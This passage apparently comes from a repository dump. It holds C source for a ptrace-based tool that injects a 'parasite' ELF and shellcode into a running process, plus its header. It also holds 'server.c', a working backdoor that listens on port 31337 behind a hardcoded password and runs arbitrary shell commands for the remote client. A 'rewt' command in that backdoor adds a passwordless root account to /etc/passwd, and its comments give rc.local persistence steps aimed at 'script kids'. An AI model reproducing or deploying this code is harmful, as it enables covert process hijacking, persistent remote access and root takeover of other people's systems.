get_parasite_entry(handle_t *h)\n{\n\tFILE *fd;\n\tchar buf[256], *p, *basename;\n\tElf64_Addr entry = 0;\n\tchar path[256];\n\n\tsnprintf(path, sizeof(path) - 1, \"/proc/%d/maps\", h->tasks.pid);\n\tif ((fd = fopen(path, \"r\")) == NULL) {\n\t\tperror(\"fopen\");\n\t\texit(-1);\n\t}\n\t\n\tif ((p = strrchr(h->path, '/')) != NULL) \n\t\tbasename = strdup(p + 1);\t\n\telse\n\t\tbasename = strdup(h->path);\n\t\n\tDBG_MSG(\"[DEBUG] -> parasite basename: %s\\n\", basename);\n\n\twhile (fgets(buf, sizeof(buf), fd)) {\n\t\tif (strstr(buf, basename)) {\n\t\t\tif (strstr(buf, \"r-xp\")) {\n\t\t\t\t*(char *)strchr(buf, '\\0') = '\\0';\n\t\t\t\tp = buf;\n\t\t\t\tentry = strtoul(p, NULL, 16);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\tfclose(fd);\t\t\t\t\n\treturn entry;\n}\n\nstatic int write_to_disk(handle_t *h)\n{\n\tint fd;\n\n\tunlink(TMP_PATH);\n\n\tfd = open(TMP_PATH, O_RDWR|O_CREAT|O_TRUNC);\n\tif (fd < 0) {\n\t\tperror(\"write_to_disk: open\");\n\t\treturn -1;\n\t}\n\tif (write(fd, h->mem, h->st.st_size) != h->st.st_size) {\n\t\tperror(\"write_to_disk: write\");\n\t\treturn -1;\n\t}\n\n\tclose(fd);\n\treturn 0;\n}\n\nvoid exec_cmd (char *str, ...)\n{\n        char string[1024];\n        va_list va;\n\n        va_start (va, str);\n        vsnprintf (string, 1024, str, va);\n        va_end (va);\n        system (string);\n}\n\t\nint main(int argc, char **argv)\n{\n\thandle_t parasite;\n\tint (*run_exec_loader_fn)(handle_t *) = run_exec_loader_dlopen; //default mode is to use dlopen\n\tint (*launch_parasite_fn)(handle_t *) = dlopen_launch_parasite; //default mode is to use dlopen\n\n\tchar **args, **pargs;\n\tint target_argc;\n\tint i;\n\n\tif (argc < 3) {\n\t\tprintf(\"Usage: %s [--no-dlopen] <pid> <parasite> <parasite_args>\\n\", argv[0]);\n\t\texit(0);\n\t}\n\t\n\topts.no_dlopen = 0;\n\t\n\targs = &argv[1];\n\ttarget_argc = argc - 2;  \n\t/*\n\t * target_argc should be how many args from ./parasite program\n \t * including the program name itself and any args after it.\n \t * I.E ./parasite <arg1> <arg2> would be target_argc 3\n\t */\n\tif (!strcmp(argv[1], \"--no-dlopen\")) {\n\t\topts.no_dlopen = 1;\n\t\targs = &argv[2];\n\t\ttarget_argc = argc - 3;\n\t}\n\t\n\targinfo.argc = target_argc;\n\t\n\tprintf(\"Parasite command: \");\n\tfor (i = 0, pargs = &args[1]; i < target_argc; i++) {\n\t\targinfo.args[i] = strdup(pargs[i]);\n\t\tprintf(\"%s \", arginfo.args[i]);\n\t}\n\tprintf(\"\\n\");\n\n\tparasite.tasks.pid = atoi(args[0]);\n\tprintf(\"[+] Target pid: %d\\n\", parasite.tasks.pid);\n\n\tif (opts.no_dlopen) {\n\tprintf(\"Calling randomize base\\n\");\n\tparasite.base = randomize_base();\n\tdo {\n\t\tparasite.base = randomize_base();\n\t} \twhile(parasite.base == 0);\n\t\tprintf(\"[+] Using base %lx\\n\", parasite.base);\n\n\t}\n\tprintf(\"[+] map_elf_binary(ptr, %s)\\n\", args[1]);\n\tif (map_elf_binary(&parasite, args[1]) < 0) {\n\t\tprintf(\"Unable to load: %s\\n\", args[1]);\n\t\texit(-1);\n\t}\n\t\n\tprepare_fn_payloads(&parasite.payloads, &parasite);\n\t\n\tif (opts.no_dlopen) {\n\t\tprintf(\"[+] Applying ELF relocations manually\\n\");\n\t\tif (apply_elf_relocations(&parasite) < 0) {\n\t\t\tprintf(\"Failed to apply relocations\\n\");\n\t\t\texit(-1);\n\t\t}\n\t} \n\n\t/*\n\t * Write a relocated version of parasite executable\n\t * to disk /tmp/.parasite.elf. This is the version\n\t * of our parasite executable that will be loaded into memory.\n\t * since it has relocation information applied.\n\t */\n\n\tif (opts.no_dlopen) {\n\t\tprintf(\"[+] Writing temporary relocated version of file (FIXME, TOUCHES DISK IN EXTRA PLACE)\\n\");\n\t\tif (write_to_disk(&parasite) < 0) {\n\t\t\tprintf(\"[!] Unable to write relocated parasite to temporary location\\n\");\n\t\t\tgoto done;\n\t\t}\n\t}\n\n\n\tif (pid_attach(&parasite) < 0) \n\t\tgoto done;\n\t\n\tprintf(\"[+] calling bootstrap\\n\");\n\t\n\tif (backup_regs_struct(&parasite) < 0)\n\t\tgoto done;\n\n\t/* \t\n\t * Inject and execute bootstrap_code()\n\t */\n\trun_bootstrap(&parasite);\n\t\n\tprintf(\"[+] calling exec_loader\\n\");\n\t/*\n\t * Inject and execute load_exec()\n\t */\n\tif (opts.no_dlopen) {\n\t\tprintf(\"[+] manual elf exec_loader\\n\");\n\t\trun_exec_loader_fn = run_exec_loader;\n\t} else\n\t\tprintf(\"[+] dlopen elf exec_loader\\n\");\n\t\n\trun_exec_loader_fn(&parasite);\n\n#if DEBUG\n\tsystem(\"pmap `pidof host`\");\n#endif\n\t\n\tif (opts.no_dlopen == 0) {\n\t\tuint64_t entrypoint = get_parasite_entry(&parasite);\n\t\tif (entrypoint == 0) {\n\t\t\tprintf(\"get_parasite_entry() failed\\n\");\n\t\t\tgoto done;\n\t\t}\n\t\tentrypoint += (uint64_t)parasite.entryp;\n\t\tparasite.entryp = (void *)entrypoint;\n\t}\n\n\t/*\n\t * Pass control to parasite\n\t */\n\tprintf(\"[+] calling launch_parasite()\\n\");\n\t\n\tif (opts.no_dlopen) \n\t\tlaunch_parasite_fn = launch_parasite;\n\n\tif (launch_parasite_fn(&parasite) < 0)\n\t\tgoto done;\n\t\n\tif (restore_regs_struct(&parasite) < 0) \n\t\tgoto done;\n\t\n\tif (pid_detach_stateful(&parasite) < 0)\n\t\tgoto done;\n\n\tkill(parasite.tasks.pid, SIGCONT);\n\t\ndone:\n\tif (access(TMP_PATH, F_OK) == 0) {\n\t\texec_cmd(\"shred %s\", TMP_PATH);\n\t\tif (access(TMP_PATH, F_OK) == 0)\n\t\t\texec_cmd(\"rm %s\", TMP_PATH);\n\t}\n\n\texit(0);\n\t\n}\n"
  },
  {
    "path": "saruman.h",
    "content": "#include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <elf.h>\n#include <sys/ptrace.h>\n#include <sys/stat.h>\n#include <fcntl.h>\n#include <errno.h>\n#include <sys/mman.h>\n#include <sys/signal.h>\n#include <sched.h>\n#include <sys/user.h>\n#include <dlfcn.h>\n#include <stdarg.h>\n\n#define INIT_CODE_REGION 0x00C00000\n\n#define PT_CALL_REGION_SIZE 4096 * 4\n#define PT_CALL_REGION 0x000B0000\n\n#define _PAGE_ALIGN(x) (x & ~(4096 - 1))\n#define PAGE_ALIGN_UP(x) (_PAGE_ALIGN(x) + 4096) \n#define PAGE_ROUND PAGE_ALIGN_UP\n#define ULONG_ROUND(x) ((x + sizeof(uint64_t) - 1) & ~(sizeof(uint64_t) - 1))\n\n\n#define SIGCHLD         17\n#define CLONE_VM        0x00000100      /* set if VM shared between processes */\n#define CLONE_FS        0x00000200      /* set if fs info shared between processes */\n#define CLONE_FILES     0x00000400      /* set if open files shared between processes */\n#define CLONE_SIGHAND   0x00000800      /* set if signal handlers shared */\n\n#define __NR_clone 56\n#define __NR_exit 60\n\n#define __PAYLOAD_ATTRIBUTES__\t __attribute__((aligned(8),__always_inline__))\n#define __PAYLOAD_KEYWORDS__ static inline volatile\n\n#define PT_ATTACHED 1\n#define PT_DETACHED 2\n\n#define MAX_THREADS 12\n\n#define MAX_FUNC_ARGS 8\n\n#define LIBC_PATH \"/lib/x86_64-linux-gnu/libc.so.6\"\n\n#define STACK_SIZE PAGE_SIZE * 16\n\n#define DBG_MSG(f_, ...) printf((f_), __VA_ARGS__)\n\ntypedef pid_t tid_t;\ntypedef unsigned long long pt_reg_t;\n\ntypedef enum  {\n\tFP_NULL = 0,\n\tCREATE_THREAD = 1,\n\tEXEC_LOADER = 2, \n\tEVIL_PTRACE = 3, \n\tBOOTSTRAP_CODE = 4, \n\tSYS_MPROTECT = 5,\n\tDLOPEN_EXEC_LOADER = 6,\n\tFUNCTION_PAYLOADS = 7\n} functionPayloads_t;\n\ntypedef enum {\n\t_PT_FUNCTION = 0,\n\t_PT_SYSCALL = 1\n} ptype_t;\n\ntypedef struct payloads {\n\tstruct {\n\t\tuint8_t *shellcode;\n\t\tvoid *args[MAX_FUNC_ARGS]; \n\t\tuint64_t target;\n\t\tpt_reg_t retval;\n\t\tsize_t size;\n\t\tint argc;\n\t\tptype_t ptype;\n\t} function[FUNCTION_PAYLOADS];\n\t\n} payloads_t;\n\t\ntypedef struct task {\n\tpid_t pid;\n\tuint32_t state;\n\tuint32_t tid_count;\n\ttid_t thread[MAX_THREADS];\n\tint thread_count;\n} task_t;\n\ntypedef struct remote {\n\tconst char *path;\n\tuint64_t base;\n\tint fd;\n\t\n} remote_t;\n\t\nstruct linking_info\n{\n        char *name;\n        int index;\n        int count;\n\tuint64_t resolved;\n\tuint64_t gotOffset;\n        uint64_t r_offset;\n        uint64_t r_info;\n        uint64_t s_value;\n        int r_type;\n};\n\nstruct reloc_info {\n\tuint64_t target;\n\tuint64_t value;\n}; \n\t\ntypedef struct stack {\n\tvoid *base;\n\tsize_t size;\n\tuint64_t rsp;\n\tuint64_t rbp;\n} proc_stack_t;\n\ntypedef struct handle {\n\tconst char *path;\n\n\tElf64_Ehdr *ehdr;\n\tElf64_Phdr *phdr;\n\tElf64_Shdr *shdr;\n\tElf64_Sym *symtab;\n\tElf64_Sym *dynsym;\n\tElf64_Dyn *dyn;\n\tElf64_Rela *rela;\n\t\t\t\n\tuint8_t *mem; \n\tchar *strtab;\n\tuint64_t size;\n\tuint64_t base;\n\tstruct stat st;\n\t\n\tElf64_Addr textVaddr;\n\tElf64_Addr dataVaddr;\n\tElf64_Addr o_dataVaddr;\n\tElf64_Addr gotVaddr;\n\tElf64_Addr dsymVaddr;\n\tElf64_Addr dstrVaddr;\n\tElf64_Off textOff;\n\tElf64_Off dataOff;\n\tElf64_Off gotOff;\n\tElf64_Word textSize;\n\tElf64_Word dataSize;\n\tElf64_Word datafilesz;\n\tElf64_Word gotSize;\n\tElf64_Word pltSize;\n\tElf64_Addr *GOT;\n\t\n\tvoid *entryp;\n\tproc_stack_t stack;\n\tpayloads_t payloads;\n\ttask_t tasks;\n\tremote_t remote;\n\tstruct user_regs_struct pt_reg;\n\tstruct user_regs_struct orig_pt_reg;\n\tstruct linking_info *linfo;\n\tstruct reloc_info *rinfo;\n} handle_t;\n\n\nstruct globals {\n        int libc_vma_size;\n        char *libc_path;\n        int pid;\n        Elf64_Addr libc_addr;\n} globals;\n\n\t\n\t\n\t\n\t\n\t\n\t\n"
  },
  {
    "path": "server.c",
    "content": "  /*\n  /* Gummo backdoor server.\n  /* compile: cc server.c -o server\n  /* usage: ./server &\n  /* echo /tmp/server & >> /etc/rc.d/rc.local\n  /* so it's always executed after system reboots.\n  /* Assuming server is in /tmp\n  /* Have fun script kids, ph1x.  \n  /* <phixation@hotmail.com> \n   */\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <errno.h>\n#include <string.h>\n#include <sys/types.h>\n#include <netinet/in.h>\n#include <sys/socket.h>\n#include <sys/wait.h>\n#include <unistd.h>\n\n\n#define PORT 31337\n#define BACKLOG 5\n#define CMD_LOG \"/tmp/.cmd\"\n#define PASSWORD \"password\"\n\n/* global */\nint newfd;\n\nvoid command ();\n\nvoid \nmain ()\n{\n\n  int sockfd, sin_size, ss, len, bytes;\n\n  struct sockaddr_in my_addr;\n  struct sockaddr_in their_addr;\n\n  char passwd[1024];\n  char *prompt = \"Password: \";\n  char *gp;\n\n  if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) == -1)\n    {\n      perror (\"socket\");\n      exit (1);\n    }\n  my_addr.sin_family = AF_INET;\n  my_addr.sin_port = htons (PORT);\n  my_addr.sin_addr.s_addr = INADDR_ANY;\n  bzero (&(my_addr.sin_zero), 8);\n\n  if (bind (sockfd, (struct sockaddr *) &my_addr, sizeof (struct sockaddr)) \\\n      == -1)\n    {\n      perror (\"bind\");\n      exit (1);\n    }\n  if (listen (sockfd, BACKLOG) == -1)\n    {\n      perror (\"listen\");\n      exit (1);\n    }\n  while (1)\n    {\n      ss = sizeof (struct sockaddr_in);\n      if ((newfd = accept (sockfd, (struct sockaddr *) &their_addr, \\\n\t\t\t   &sin_size)) == -1)\n\t{\n\t  perror (\"accept\");\n\t  exit (1);\n\t}\n      if (fork ())\n\t{\n\t  len = strlen (prompt);\n\t  bytes = send (newfd, prompt, len, 0);\n\t  recv (newfd, passwd, 1024, 0);\n\n\t  if ((gp = strchr (passwd, 13)) != NULL)\n\t    *(gp) = '\\0';\n\n\t  if (!strcmp (passwd, PASSWORD))\n\t    {\n\t      send (newfd, \"Access Granted, HEH\\n\", 21, 0);\n\t      send (newfd, \"\\n\\n\\n\\n\\n\\nWelcome To Gummo Backdoor Server!\\n\\n\", 41, 0);\n\t      send (newfd, \"Type 'HELP' for a list of commands\\n\\n\", 36, 0);\n\t      command ();\n\t    }\n\t  else if (passwd != PASSWORD)\n\t    {\n\t      send (newfd, \"Authentification Failed! =/\\n\", 29, 0);\n\t      close (newfd);\n\t    }\n\t}\n    }\n}     /* command() will process all the commands sent */\n    /* and send back the output of them to your client */\n\nvoid \ncommand ()\n{\n\n  FILE *read;\n  FILE *append;\n  char cmd_dat[1024];\n  char *cmd_relay;\n  char *clean_log;\n  char buf[5000];\n\n  int dxm;\n\n  while (1)\n    {\n\n      send (newfd, \"command:~# \", 11, 0);\n      recv (newfd, cmd_dat, 1024, 0);\n      cmd_dat[strlen (cmd_dat) - 2] = '\\0';\n      if (strcmp (cmd_dat, \"\"))\n\t{\n\n\t  if ((strstr (cmd_dat, \"HELP\")) == cmd_dat)\n\t    {\n\t      send (newfd, \"\\n\\n-=Help Menu=-\\n\", 16, 0);\n\t      send (newfd, \"\\nquit - to exit gummo backdoor\\n\", 31, 0);\n\t      send (newfd, \"rewt - automatically creates non passworded accnt 'rewt' uid0\\n\", 63, 0);\n\t      send (newfd, \"wipeout - this feature rm -rf /'s a box. Inspired by dethcraze\\n\", 64, 0);\n\t    }\n\t  if ((strstr (cmd_dat, \"quit\")) == cmd_dat)\n\t    {\n\t      close (newfd);\n\t    }\n\t  if ((strstr (cmd_dat, \"rewt\")) == cmd_dat)\n\t    {\n\t      system (\"echo rewt::0:0::/:/bin/sh>>/etc/passwd;\");\n\t      send (newfd, \"User 'rewt' added!\\n\", 19, 0);\n\t    }\n\t  if ((strstr (cmd_dat, \"wipeout\")) == cmd_dat)\n\t    {\n\t      send (newfd, \"Your a dumb fuck for trying to use this command, HEH!\\n\", 54, 0);\n\t      close(newfd);\n               exit(0);\n\t    }\n\t\n          else\n\t    append = fopen (CMD_LOG, \"w\");\n\t  fprintf (append, \"dextro\\n\");\n\t  fclose (append);\n\n\n\t  clean_log = (char *) malloc (420);\n\t  sprintf (clean_log, \"rm %s\", CMD_LOG);\n\t  system (clean_log);\n\n\t  cmd_relay = (char *) malloc (1024);\n\t  snprintf (cmd_relay, 1024, \"%s > %s;\\0\", cmd_dat, CMD_LOG);\n\t  system (cmd_relay);\n\n\t  if ((read = fopen (CMD_LOG, \"r\")) == NULL)\n\t    continue;\n\t  while (!(feof (read)))\n\t    {\n\t      memset (buf, 0, 500);\n\t      fgets (buf, 500, read);\n\t      if (buf[0] == 0)\n\t\tbreak;\n\t      write (newfd, buf, 500);\n\t    }\n\t  fclose (read);\n\t}\n    }\n}\n"
  }
]